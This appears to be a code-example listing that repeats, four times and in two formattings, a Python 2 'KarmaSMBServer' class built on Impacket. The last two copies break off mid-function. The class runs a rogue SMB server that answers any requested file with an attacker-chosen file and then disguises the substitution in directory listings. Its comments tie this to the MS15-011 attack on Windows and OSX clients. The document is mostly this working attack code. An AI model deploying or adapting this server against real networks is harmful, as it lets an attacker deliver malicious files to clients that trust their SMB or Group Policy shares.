Beispiel #1
0
    def __init__(self, smb_challenge, smb_port, smb2Support = False):
        self.server = 0
        self.defaultFile = None
        self.extensions = {}

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
        smbConfig.set('global','log_file','smb.log')
        smbConfig.set('global','credentials_file','')

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','Logon server share')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        # NETLOGON always needed
        smbConfig.add_section('NETLOGON')
        smbConfig.set('NETLOGON','comment','Logon server share')
        smbConfig.set('NETLOGON','read only','no')
        smbConfig.set('NETLOGON','share type','0')
        smbConfig.set('NETLOGON','path','')

        # SYSVOL always needed
        smbConfig.add_section('SYSVOL')
        smbConfig.set('SYSVOL','comment','')
        smbConfig.set('SYSVOL','read only','no')
        smbConfig.set('SYSVOL','share type','0')
        smbConfig.set('SYSVOL','path','')

        if smb2Support:
            smbConfig.set("global", "SMB2Support", "True")

        self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
        self.server.processConfigFile()

        # Unregistering some dangerous and unwanted commands
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)

        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
        self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
        self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)

        # And the same for SMB2
        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
        self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
        self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
        self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)

        # Now we have to register the MS-SRVS server. This specially important for 
        # Windows 7+ and Mavericks clients since they WONT (specially OSX) 
        # ask for shares using MS-RAP.

        self.__srvsServer = SRVSServer()
        self.__srvsServer.daemon = True
        self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
Beispiel #2
0
    def __init__(self, smb_challenge, smb_port, smb2Support=False):
        self.server = 0
        self.defaultFile = None
        self.extensions = {}

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global', 'server_name', 'server_name')
        smbConfig.set('global', 'server_os', 'UNIX')
        smbConfig.set('global', 'server_domain', 'WORKGROUP')
        smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
        smbConfig.set('global', 'log_file', 'smb.log')
        smbConfig.set('global', 'credentials_file', '')

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$', 'comment', 'Logon server share')
        smbConfig.set('IPC$', 'read only', 'yes')
        smbConfig.set('IPC$', 'share type', '3')
        smbConfig.set('IPC$', 'path', '')

        # NETLOGON always needed
        smbConfig.add_section('NETLOGON')
        smbConfig.set('NETLOGON', 'comment', 'Logon server share')
        smbConfig.set('NETLOGON', 'read only', 'no')
        smbConfig.set('NETLOGON', 'share type', '0')
        smbConfig.set('NETLOGON', 'path', '')

        # SYSVOL always needed
        smbConfig.add_section('SYSVOL')
        smbConfig.set('SYSVOL', 'comment', '')
        smbConfig.set('SYSVOL', 'read only', 'no')
        smbConfig.set('SYSVOL', 'share type', '0')
        smbConfig.set('SYSVOL', 'path', '')

        if smb2Support:
            smbConfig.set("global", "SMB2Support", "True")

        self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)),
                                          config_parser=smbConfig)
        self.server.processConfigFile()

        # Unregistering some dangerous and unwanted commands
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)

        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
        self.origQueryPathInformation = self.server.hookTransaction2(
            smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
        self.origFindFirst2 = self.server.hookTransaction2(
            smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)

        # And the same for SMB2
        self.origsmb2TreeConnect = self.server.hookSmb2Command(
            smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        self.origsmb2Create = self.server.hookSmb2Command(
            smb2.SMB2_CREATE, self.smb2Create)
        self.origsmb2QueryDirectory = self.server.hookSmb2Command(
            smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
        self.origsmb2Read = self.server.hookSmb2Command(
            smb2.SMB2_READ, self.smb2Read)
        self.origsmb2Close = self.server.hookSmb2Command(
            smb2.SMB2_CLOSE, self.smb2Close)

        # Now we have to register the MS-SRVS server. This specially important for
        # Windows 7+ and Mavericks clients since they WONT (specially OSX)
        # ask for shares using MS-RAP.

        self.__srvsServer = SRVSServer()
        self.__srvsServer.daemon = True
        self.server.registerNamedPipe(
            'srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort()))
Beispiel #3
0
class KarmaSMBServer():
    def __init__(self, smb_challenge, smb_port, smb2Support = False):
        self.server = 0
        self.defaultFile = None
        self.extensions = {}

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
        smbConfig.set('global','log_file','smb.log')
        smbConfig.set('global','credentials_file','')

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','Logon server share')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        # NETLOGON always needed
        smbConfig.add_section('NETLOGON')
        smbConfig.set('NETLOGON','comment','Logon server share')
        smbConfig.set('NETLOGON','read only','no')
        smbConfig.set('NETLOGON','share type','0')
        smbConfig.set('NETLOGON','path','')

        # SYSVOL always needed
        smbConfig.add_section('SYSVOL')
        smbConfig.set('SYSVOL','comment','')
        smbConfig.set('SYSVOL','read only','no')
        smbConfig.set('SYSVOL','share type','0')
        smbConfig.set('SYSVOL','path','')

        if smb2Support:
            smbConfig.set("global", "SMB2Support", "True")

        self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
        self.server.processConfigFile()

        # Unregistering some dangerous and unwanted commands
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)

        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
        self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
        self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)

        # And the same for SMB2
        self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
        self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
        self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
        self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)

        # Now we have to register the MS-SRVS server. This specially important for 
        # Windows 7+ and Mavericks clients since they WONT (specially OSX) 
        # ask for shares using MS-RAP.

        self.__srvsServer = SRVSServer()
        self.__srvsServer.daemon = True
        self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))

    def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        errorCode = STATUS_SUCCESS
        findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
        origFileName = os.path.basename(origPathName)

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile

        if (len(data) > 0):
            findFirst2Data = smb.SMBFindFirst2_Data(data)
        else:
            findFirst2Data = ''

        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = connData['ConnectedShares'][recvPacket['Tid']]['path']

            # 2. We call the normal findFirst2 call, but with our targetFile
            searchResult, searchCount, errorCode = findFirst2(path, 
                          targetFile, 
                          findFirst2Parameters['InformationLevel'], 
                          findFirst2Parameters['SearchAttributes'] )

            respParameters = smb.SMBFindFirst2Response_Parameters()
            endOfSearch = 1
            sid = 0x80 # default SID
            searchCount = 0
            totalData = 0
            for i in enumerate(searchResult):
                #i[1].dump()
                try:
                    # 3. And we restore the original filename requested ;)
                    i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
                except:
                    pass

                data = i[1].getData()
                lenData = len(data)
                if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
                    # We gotta stop here and continue on a find_next2
                    endOfSearch = 0
                    # Simple way to generate a fid
                    if len(connData['SIDs']) == 0:
                       sid = 1
                    else:
                       sid = connData['SIDs'].keys()[-1] + 1
                    # Store the remaining search results in the ConnData SID
                    connData['SIDs'][sid] = searchResult[i[0]:]
                    respParameters['LastNameOffset'] = totalData
                    break
                else:
                    searchCount +=1
                    respData += data
                    totalData += lenData
                    

            respParameters['SID'] = sid
            respParameters['EndOfSearch'] = endOfSearch
            respParameters['SearchCount'] = searchCount
        else:
            errorCode = STATUS_SMB_BAD_TID   

        smbServer.setConnectionData(connId, connData)

        return respSetup, respParameters, respData, errorCode

    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
        ntCreateAndXData       = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])

        respSMBCommand        = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)

        #ntCreateAndXParameters.dump()

        # Let's try to avoid allowing write requests from the client back to us
        # not 100% bulletproof, plus also the client might be using other SMB
        # calls (e.g. SMB_COM_WRITE)
        createOptions =  ntCreateAndXParameters['CreateOptions']
        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
            errorCode = STATUS_ACCESS_DENIED
        else:
            errorCode = STATUS_SUCCESS

        if errorCode == STATUS_ACCESS_DENIED:
            return [respSMBCommand], None, errorCode

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile
        
        # 2. We change the filename in the request for our targetFile
        ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
        SMBCommand['Data'] = str(ntCreateAndXData)
        smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)

        # 3. We call the original call with our modified data
        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)

    def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
        # The trick we play here is that Windows clients first ask for the file
        # and then it asks for the directory containing the file.
        # It is important to answer the right questions for the attack to work
        
        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        errorCode = 0

        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
        if len(data) > 0: 
           queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
  
        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = ''
            try:
               origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
               origPathName = os.path.normpath(origPathName.replace('\\','/'))

               if connData.has_key('MS15011') is False:
                   connData['MS15011'] = {}

               smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO)
               if connData['MS15011'].has_key(origPathName) or origPathName == '.':
                   # We already processed this entry, now it's asking for a directory
                   infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel'])
               else:
                   # First time asked, asking for the file
                   infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel'])
                   connData['MS15011'][os.path.dirname(origPathName)] = infoRecord
            except Exception, e:
               #import traceback
               #traceback.print_exc()
               smbServer.log("queryPathInformation: %s" % e,logging.ERROR)

            if infoRecord is not None:
                respParameters = smb.SMBQueryPathInformationResponse_Parameters()
                respData = infoRecord
        else:
Beispiel #4
0
class KarmaSMBServer():
    def __init__(self, smb_challenge, smb_port, smb2Support=False):
        self.server = 0
        self.defaultFile = None
        self.extensions = {}

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global', 'server_name', 'server_name')
        smbConfig.set('global', 'server_os', 'UNIX')
        smbConfig.set('global', 'server_domain', 'WORKGROUP')
        smbConfig.set('global', 'challenge', smb_challenge.decode('hex'))
        smbConfig.set('global', 'log_file', 'smb.log')
        smbConfig.set('global', 'credentials_file', '')

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$', 'comment', 'Logon server share')
        smbConfig.set('IPC$', 'read only', 'yes')
        smbConfig.set('IPC$', 'share type', '3')
        smbConfig.set('IPC$', 'path', '')

        # NETLOGON always needed
        smbConfig.add_section('NETLOGON')
        smbConfig.set('NETLOGON', 'comment', 'Logon server share')
        smbConfig.set('NETLOGON', 'read only', 'no')
        smbConfig.set('NETLOGON', 'share type', '0')
        smbConfig.set('NETLOGON', 'path', '')

        # SYSVOL always needed
        smbConfig.add_section('SYSVOL')
        smbConfig.set('SYSVOL', 'comment', '')
        smbConfig.set('SYSVOL', 'read only', 'no')
        smbConfig.set('SYSVOL', 'share type', '0')
        smbConfig.set('SYSVOL', 'path', '')

        if smb2Support:
            smbConfig.set("global", "SMB2Support", "True")

        self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)),
                                          config_parser=smbConfig)
        self.server.processConfigFile()

        # Unregistering some dangerous and unwanted commands
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
        self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

        self.server.unregisterSmb2Command(smb2.SMB2_WRITE)

        self.origsmbComNtCreateAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
        self.origQueryPathInformation = self.server.hookTransaction2(
            smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
        self.origFindFirst2 = self.server.hookTransaction2(
            smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)

        # And the same for SMB2
        self.origsmb2TreeConnect = self.server.hookSmb2Command(
            smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        self.origsmb2Create = self.server.hookSmb2Command(
            smb2.SMB2_CREATE, self.smb2Create)
        self.origsmb2QueryDirectory = self.server.hookSmb2Command(
            smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
        self.origsmb2Read = self.server.hookSmb2Command(
            smb2.SMB2_READ, self.smb2Read)
        self.origsmb2Close = self.server.hookSmb2Command(
            smb2.SMB2_CLOSE, self.smb2Close)

        # Now we have to register the MS-SRVS server. This specially important for
        # Windows 7+ and Mavericks clients since they WONT (specially OSX)
        # ask for shares using MS-RAP.

        self.__srvsServer = SRVSServer()
        self.__srvsServer.daemon = True
        self.server.registerNamedPipe(
            'srvsvc', ('127.0.0.1', self.__srvsServer.getListenPort()))

    def findFirst2(self, connId, smbServer, recvPacket, parameters, data,
                   maxDataCount):
        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        errorCode = STATUS_SUCCESS
        findFirst2Parameters = smb.SMBFindFirst2_Parameters(
            recvPacket['Flags2'], data=parameters)

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(
            decodeSMBString(recvPacket['Flags2'],
                            findFirst2Parameters['FileName']).replace(
                                '\\', '/'))
        origFileName = os.path.basename(origPathName)

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile

        if (len(data) > 0):
            findFirst2Data = smb.SMBFindFirst2_Data(data)
        else:
            findFirst2Data = ''

        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = connData['ConnectedShares'][recvPacket['Tid']]['path']

            # 2. We call the normal findFirst2 call, but with our targetFile
            searchResult, searchCount, errorCode = findFirst2(
                path, targetFile, findFirst2Parameters['InformationLevel'],
                findFirst2Parameters['SearchAttributes'])

            respParameters = smb.SMBFindFirst2Response_Parameters()
            endOfSearch = 1
            sid = 0x80  # default SID
            searchCount = 0
            totalData = 0
            for i in enumerate(searchResult):
                #i[1].dump()
                try:
                    # 3. And we restore the original filename requested ;)
                    i[1]['FileName'] = encodeSMBString(
                        flags=recvPacket['Flags2'], text=origFileName)
                except:
                    pass

                data = i[1].getData()
                lenData = len(data)
                if (totalData + lenData) >= maxDataCount or (
                        i[0] + 1) > findFirst2Parameters['SearchCount']:
                    # We gotta stop here and continue on a find_next2
                    endOfSearch = 0
                    # Simple way to generate a fid
                    if len(connData['SIDs']) == 0:
                        sid = 1
                    else:
                        sid = connData['SIDs'].keys()[-1] + 1
                    # Store the remaining search results in the ConnData SID
                    connData['SIDs'][sid] = searchResult[i[0]:]
                    respParameters['LastNameOffset'] = totalData
                    break
                else:
                    searchCount += 1
                    respData += data
                    totalData += lenData

            respParameters['SID'] = sid
            respParameters['EndOfSearch'] = endOfSearch
            respParameters['SearchCount'] = searchCount
        else:
            errorCode = STATUS_SMB_BAD_TID

        smbServer.setConnectionData(connId, connData)

        return respSetup, respParameters, respData, errorCode

    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(
            SMBCommand['Parameters'])
        ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'],
                                                    data=SMBCommand['Data'])

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)

        #ntCreateAndXParameters.dump()

        # Let's try to avoid allowing write requests from the client back to us
        # not 100% bulletproof, plus also the client might be using other SMB
        # calls (e.g. SMB_COM_WRITE)
        createOptions = ntCreateAndXParameters['CreateOptions']
        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
            errorCode = STATUS_ACCESS_DENIED
        else:
            errorCode = STATUS_SUCCESS

        if errorCode == STATUS_ACCESS_DENIED:
            return [respSMBCommand], None, errorCode

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(
            decodeSMBString(recvPacket['Flags2'],
                            ntCreateAndXData['FileName']).replace('\\', '/'))

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile

        # 2. We change the filename in the request for our targetFile
        ntCreateAndXData['FileName'] = encodeSMBString(
            flags=recvPacket['Flags2'], text=targetFile)
        SMBCommand['Data'] = str(ntCreateAndXData)
        smbServer.log(
            "%s is asking for %s. Delivering %s" %
            (connData['ClientIP'], origPathName, targetFile), logging.INFO)

        # 3. We call the original call with our modified data
        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand,
                                           recvPacket)

    def queryPathInformation(self,
                             connId,
                             smbServer,
                             recvPacket,
                             parameters,
                             data,
                             maxDataCount=0):
        # The trick we play here is that Windows clients first ask for the file
        # and then it asks for the directory containing the file.
        # It is important to answer the right questions for the attack to work

        connData = smbServer.getConnectionData(connId)

        respSetup = ''
        respParameters = ''
        respData = ''
        errorCode = 0

        queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(
            flags=recvPacket['Flags2'], data=parameters)
        if len(data) > 0:
            queryPathInfoData = smb.SMBQueryPathInformation_Data(data)

        if connData['ConnectedShares'].has_key(recvPacket['Tid']):
            path = ''
            try:
                origPathName = decodeSMBString(
                    recvPacket['Flags2'], queryPathInfoParameters['FileName'])
                origPathName = os.path.normpath(origPathName.replace(
                    '\\', '/'))

                if connData.has_key('MS15011') is False:
                    connData['MS15011'] = {}

                smbServer.log(
                    "Client is asking for QueryPathInformation for: %s" %
                    origPathName, logging.INFO)
                if connData['MS15011'].has_key(
                        origPathName) or origPathName == '.':
                    # We already processed this entry, now it's asking for a directory
                    infoRecord, errorCode = queryPathInformation(
                        path, '/', queryPathInfoParameters['InformationLevel'])
                else:
                    # First time asked, asking for the file
                    infoRecord, errorCode = queryPathInformation(
                        path, self.defaultFile,
                        queryPathInfoParameters['InformationLevel'])
                    connData['MS15011'][os.path.dirname(
                        origPathName)] = infoRecord
            except Exception, e:
                #import traceback
                #traceback.print_exc()
                smbServer.log("queryPathInformation: %s" % e, logging.ERROR)

            if infoRecord is not None:
                respParameters = smb.SMBQueryPathInformationResponse_Parameters(
                )
                respData = infoRecord
        else: